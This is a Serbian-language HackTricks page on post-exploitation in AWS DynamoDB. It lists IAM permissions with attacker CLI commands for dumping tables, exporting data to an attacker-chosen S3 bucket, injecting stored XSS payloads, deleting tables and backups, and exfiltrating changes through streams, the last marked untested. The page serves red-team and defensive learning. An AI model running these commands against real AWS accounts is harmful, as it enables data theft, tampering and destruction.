AWS - DynamoDB Post Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

DynamoDB

Za više informacija pogledajte:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Napadač sa ovim dozvolama će moći da dobije stavke iz tabela preko primarnog ključa (ne možete jednostavno tražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti dobijanjem metapodataka tabele (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:GetItem

Slično prethodnim dozvolama, ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele dajući primarni ključ unosa za povrat:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Sa ovom dozvolom takođe je moguće koristiti transact-get-items metod kao:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potencijalni uticaj: Indirektno podizanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:Query

Slično kao i prethodne dozvole, ova dozvola omogućava potencijalnom napadaču da čita vrednosti samo iz 1 tabele uz dat primarni ključ unosa za povrat. Omogućava korišćenje podskupa poređenja, ali jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da biste dobili celu bazu podataka u zahtevu.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:Scan

Možete koristiti ovu dozvolu da lako izvučete celu tabelu.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:PartiQLSelect

Možete koristiti ovu dozvolu da lako izvučete celu tabelu.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Ovo ovlašćenje takođe omogućava izvršavanje batch-execute-statement kao što je:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ali morate specificirati primarni ključ sa vrednošću, pa nije toliko korisno.

Potencijalni uticaj: Indirektno privesciranje lociranjem osetljivih informacija u tabeli

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Ova dozvola će omogućiti napadaču da izveze celu tabelu u S3 bucket po njegovom izboru:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Napomena da bi ovo funkcionisalo, tabela mora imati omogućeno vraćanje tačke u vremenu, možete proveriti da li tabela to ima sa:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Ako nije omogućeno, moraćete omogućiti i za to vam je potrebna dozvola dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potencijalni uticaj: Indirektno povećanje privilegija pronalaženjem osetljivih informacija u tabeli

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Sa ovim dozvolama, napadač bi bio u mogućnosti da kreira novu tabelu iz rezervne kopije (ili čak da napravi rezervnu kopiju kako bi je zatim vratio u drugu tabelu). Zatim, sa neophodnim dozvolama, bio bi u mogućnosti da proveri informacije iz rezervnih kopija koje više ne bi mogle biti u produkcionoj tabeli.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u rezervnoj kopiji tabele

dynamodb:PutItem

Ova dozvola omogućava korisnicima da dodaju novu stavku u tabelu ili zamene postojeću stavku novom stavkom. Ako stavka sa istim primarnim ključem već postoji, cela stavka će biti zamenjena novom stavkom. Ako primarni ključ ne postoji, biće kreirana nova stavka sa navedenim primarnim ključem.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>

Potencijalni uticaj: Iskorišćavanje dodatnih ranjivosti/bypass-ova omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabelu

dynamodb:UpdateItem

Ova dozvola omogućava korisnicima da modifikuju postojeće atribute stavke ili dodaju nove atribute stavci. Ona ne zamenjuje celu stavku; samo ažurira navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će kreirati novu stavku sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Potencijalni uticaj: Iskorišćavanje dodatnih ranjivosti/bypass-ova omogućavanjem dodavanja/modifikovanja podataka u tabeli DynamoDB

dynamodb:DeleteTable

Napadač sa ovlašćenjem može obrisati tabelu DynamoDB, uzrokujući gubitak podataka.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potencijalni uticaj: Gubitak podataka i poremećaj usluga koje se oslanjaju na obrisani sto.

dynamodb:DeleteBackup

Napadač sa ovlašćenjem može obrisati rezervnu kopiju DynamoDB, potencijalno uzrokujući gubitak podataka u slučaju scenarija oporavka od katastrofe.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potencijalni uticaj: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Testirati da li ovo zapravo funkcioniše

Napadač sa ovim dozvolama može omogućiti strim na tabeli DynamoDB, ažurirati tabelu da počne sa strimovanjem promena, a zatim pristupiti strimu kako bi pratio promene na tabeli u realnom vremenu. Ovo omogućava napadaču da prati i eksfiltrira promene podataka, što potencijalno može dovesti do curenja podataka.

  1. Omogućiti strim na tabeli DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Opisati tok za dobijanje ARN i ostalih detalja:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Dobijanje iteratora šarže korišćenjem ARN-a toka:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Koristite iterator šardova da pristupite i eksfiltrirate podatke sa strima:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potencijalni uticaj: Praćenje u realnom vremenu i curenje podataka o promenama u tabeli DynamoDB.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated